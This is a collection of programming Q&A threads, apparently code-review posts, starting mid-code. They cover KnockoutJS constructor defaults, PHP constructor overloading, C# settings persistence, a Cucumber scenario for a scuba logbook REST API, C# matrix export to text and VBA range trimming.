    public Customer()
    {
        DateOfBirth = DateTime.Now;
    }
}

Is there something similar I can do in JavaScript - KnockoutJS?

The issue that I have with the viewmodel, and I suspect that it is the issue that you're having, is that you have two code paths to keep in sync when initializing the object.

By getting rid of the if {} else {} and having a default value going into the knockout observable as an alternative value then you reduce the lines of code and you only define the properties of the object once.

Something like this:
I have used undefined as the default in this case

function Customer(customer) {
    var self = this;
    self.CustomerId = ko.observable(customer.CustomerId || undefined);
    self.CustomerName = ko.observable(customer.CustomerName || undefined);
    self.DateOfBirth = ko.observable(customer.DateOfBirth || undefined);
    self.EmailAddress = ko.observable(customer.EmailAddress || undefined);
    self.CustomerContacts = customer ?  ko.mapping.fromJS(customer.CustomerContacts, customMapping): ko.observableArray();
}


Cleaning up PHP object constructors I have this annoying problem in PHP with faking overloading constructors.  I understand the concept, but the code I produce feels kind of ugly. It isn't a lot of code, just bad code. Any ideas on how to make this sane?

/**
 * Instantiate Fencer object from user meta database.
 *
 * If fencer data does not exist in database and USFA ID is provided,
 * it will automatically update from API
 *
 * If USFA ID is not provided, will throw exception
 *
 * If API data is provided, a user ID must also be provided
 * that way we can save the data from the API to the user.
 *
 * @param int|null $user_id
 * @param string|null $usfa_id
 * @param array|null $raw_data
 *
 * @throws InvalidArgumentException
 *  1. If the user does not exist and USFA ID not provided
 *  2. Raw API data is provided, but not a User ID to save it to
 */
private function __construct( $user_id = null, $usfa_id = null, $raw_data = null ) {
    if ( $raw_data === null ) {
        if ( null === $user_id ) {
            $user_id = self::get_user_id_from_usfa_id( $usfa_id );
        }

        $this->wp_id = $user_id;

        $fencerdata = get_user_meta( $user_id, 'fence_plus_fencer_data', true );

        if ( ! empty( $fencerdata ) ) {
            foreach ( $fencerdata as $key => $data ) {
                call_user_func( array( $this, 'set_' . $key ), $data );
                // set all properties by calling internal setters based on fencer user meta data key
            }
        }
        else if ( $usfa_id != null ) {
            $this->usfa_id = $usfa_id;
            $this->update();
            $this->save();
        }
        else {
            throw new InvalidArgumentException( "Fencer data does not exist. Instantiate with USFA ID", 1 );
        }
    }
    else {
        if ( null == $user_id ) {
            throw new InvalidArgumentException( "User ID must be provided when instantiating with raw API data", 2 );
        }

        $this->wp_id = $user_id;
        $this->process_api_data( array( $raw_data ) );
        $this->interpret_data();
        $this->save();
    }
}

It is a bad idea for a constructor to contain non-trivial code.
Constructors should assign values to fields or another simple actions.
If you need complex initialization, you should use factory object or factory method


Saving settings in user.config This question came up today on StackOverflow. I find it more unfortunate than (as some others said) idiotic. And it recalled an old function I have which I just remembered.

I have a user.config file which has some settings which can be updated through user action. My rationale was "if the setting is changed, it should be saved." So I made a static class to cover for those settings so as not to handle the operations each time. And I came up with this:

public static class UserSettings
{
    public static string ProcessPath
    {
        get { return _processPath; }
        set
        {
            _processPath = Settings.Default.ProcessPath = value;
            Settings.Default.Save();
        }
    }
    //Other functions and properties
}

Yes, I know, it reeks. I feel shame. I want to make this right. I'm thinking this:

the class is static, it should at least be a singleton;
the property should itself not be static;
there's no point in saving the settings every time, just on closing the app, and that would basically be safe in a destructor for the class be best suited for a dedicated function called SaveSettings. Any other object can call it when they see fit, no surprise effects. (further evidence of the need for a singleton).

Are these good intentions in the right direction?

First, I think making it a singleton would be a mistake (singleton usually is). At best it would be extra work with zero benefit. At worst, it's a handicap, such as when/if you decide to support two top-level windows with independent settings for each.

Second, I think I'd add a Boolean named dirty (or something similar). When you set the value, dirty is set to true. When you save the value, you check if dirty is true, and only write out the value if it is (then you set dirty to false).

Personally, I'd probably change it from a static class named ProcessPath to a normal class named (something like) config_string, with an instance for ProcessPath, and a the possibility for other instances holding other strings. To do that, you'd pass Settings.Default.ProcessPath as a parameter when you construct the object.


Cucumber scenario to test REST interface to scuba diving logbooks I am looking for ideas how to improve this cucumber scenario (testing a REST interface) and make it more concise.

Feature: Get list of Logbooks
    As a client, I want to get a list of a certain users logbooks so that i can present
    the logbooks name and the number of scuba dives to the user.

Scenario: Get a list of logbooks
    Given the system knows about the user "tom"
    And the user has the email "tom@tom.com"
    And he owns the logbooks
      | pacific  |
      | atlantic |
      | gulf     |
    When the client asks the system for a list of logbooks owned by user
    Then the client gets a list with 3 logbooks
    And all logbooks of the list have the users name
    And all logbooks of the list have the users email
    And one logbook has the name
      | pacific  |
      | atlantic |
      | gulf     |
    But if the user has no logbook
    And the client requests a logbook from the system
    Then the client gets an error message

Details:
A client (browser/other service) is accessing a logbook service via REST. The client can ask with a user name and an email address the system about a list of logbooks (named pacific, atlanic and gulf) the user might have stored at the system. In case the user has no logbooks stored, a error message is returned.

Here is how I would update what has been given, but below there are some points for further improvement.

Feature: Get list of Logbooks
    As a client
    I want to get a list of a certain users logbooks
    So that i can present the logbooks name and the number of scuba dives to the client.

Background:
    Given the user "tom" has the email "tom@tom.com"

Scenario: Get a list of logbooks
    Given "tom" owns the logbooks:
      | pacific  |
      | atlantic |
      | gulf     |
    When the client requests for a list of logbooks owned by "tom"
    Then the client gets a list with 3 logbooks
    And the requested logbooks should have the users name and email
    And the requested logbooks should have the names:
      | pacific  |
      | atlantic |
      | gulf     |

Scenario: The user has no logbooks
    Given "tom" owns no logbooks
    When the client requests for a list of logbooks owned by "tom"
    Then the client should see the message "tom has no logbooks"

WAYS TO IMPROVE

BDD is all about conversations.

Cucumber being a BDD tool means that it helps with breaking down the conversational barriers between the business and the development team. You should be agreeing on the language that is used with both the dev team and business before the feature file has been completed.

Is the language stated in the scenarios the same language that the business and the dev team have agreed to use? If not, update the language. (And the requested log books should have the users name and email, for instance)

Are there any extra steps that the business wants to know about? If so, add them in.

Are there any steps that aren't needed? If so, remove them.


Export data from matrix to txt file I am new at programming and I'm really confused about how should I do this, because at first I thought I should ask user which path to export. However I have been told that I should check if it exists the directory and if doesn't I should create it. How can I even create a directory path or ask user if it can be created? Sorry if my question is too odd but I'm very confused about this, I was convinced that simply asking was enough to export data.

static void exportData(string[,] matrix)
{

    var dir = "";
    do
    {
        Console.Clear();
        Console.Write("Insert path to export txt: ");
        dir = Console.ReadLine();
    } while (String.IsNullOrEmpty(dir));

    var path = Path.Combine(dir, "export.txt");

    using (StreamWriter sw = File.CreateText(path))
    {

        for (int i = 0; i < matrix.GetLength(0); i++)
        {
            for (int j = 0; j < matrix.GetLength(1) - 1; j++)
            {

                {
                    sw.Write($"\t{matrix[i, j]}\t");
                }

            }
            Console.WriteLine("\n");
        }

    }

As I correctly understood, you want to export matrix in text file.
If its true, your code contains some mistakes:

for (int j = 0; j < matrix.GetLength(1) - 1; j++)

should be without decreasing length by 1 and Console.WriteLine("\n");
should be sw.WriteLine();

Also there is a not good idea to ask user to write a path. You could try to use SaveFileDialog instead.

Full solution

class Program
{
    [STAThread]
    static void Main(string[] args)
    {
        int[,] matrix = new int[3, 2]
        {
            {1, 2},
            {3, 4},
            {5, 6}
        };
        ExportData(matrix);
    }
    private static void ExportData(int[,] matrix)
    {
        var saveFileDialog = new SaveFileDialog
        {
            Filter = "Text files (*.txt)|*.txt|All files (*.*)|*.*",
            FileName = "export.txt"
        };

        if (saveFileDialog.ShowDialog() == DialogResult.OK)
        {
            using (StreamWriter streamWriter = new StreamWriter(saveFileDialog.FileName))
            {
                for(int i = 0; i < matrix.GetLength(0); i++)
                {
                    for(int j = 0; j< matrix.GetLength(1); j++)
                    {
                        streamWriter.Write($"\t{matrix[i, j]}\t");
                    }
                    streamWriter.WriteLine();
                }
            }
        }
    }
}

Just don't forget to add reference to System.Windows.Forms


Trimming strings in non-contiguous spreadsheet ranges This code is tested and works, but I am needing some guidance on simplifying these loops with non-contiguous ranges. I was thinking an array might be better, but I haven't had enough experience with Arrays to know where to start with one. Any guidance would be greatly appreciated.

Dim r As Range
Dim v
For Each r In JHACheck.Range("M7:M32")
    v = r.Value
    If v <> "" Then
        If Not r.HasFormula Then
            r.Value = Trim(v)
        End If
    End If
Next r

For Each r In JHACheck.Range("M35:M41")
    v = r.Value
    If v <> "" Then
        If Not r.HasFormula Then
            r.Value = Trim(v)
        End If
    End If
Next r

For Each r In JHACheck.Range("R35:R41")
    v = r.Value
    If v <> "" Then
        If Not r.HasFormula Then
            r.Value = Trim(v)
        End If
    End If
Next r

It's clear you're performing the same operation over different ranges of cells. So I'd separate that logic in a Function which you can call with any range you like. Using arrays achieve a speed up if the ranges are large, but for now wait until you think you need it. (Needing to check the cell for .HasFormula will slow down using an array in any case.)

The code below shows the trimming logic isolated to a single function. The logic is no different from yours with the exception of more clear variable names.

Option Explicit

Sub test()
    TrimTheseCells JHACheck.Range("M7:M32")
    TrimTheseCells JHACheck.Range("M35:M41")
    TrimTheseCells JHACheck.Range("R35:R41")
End Sub

Private Sub TrimTheseCells(ByRef thisRange As Range)
    Dim cell As Range
    For Each cell In thisRange
        If Not IsEmpty(cell) Then
            If Not cell.HasFormula Then
                cell.Value = Trim(cell.Value)
            End If
        End If
    Next cell
End Sub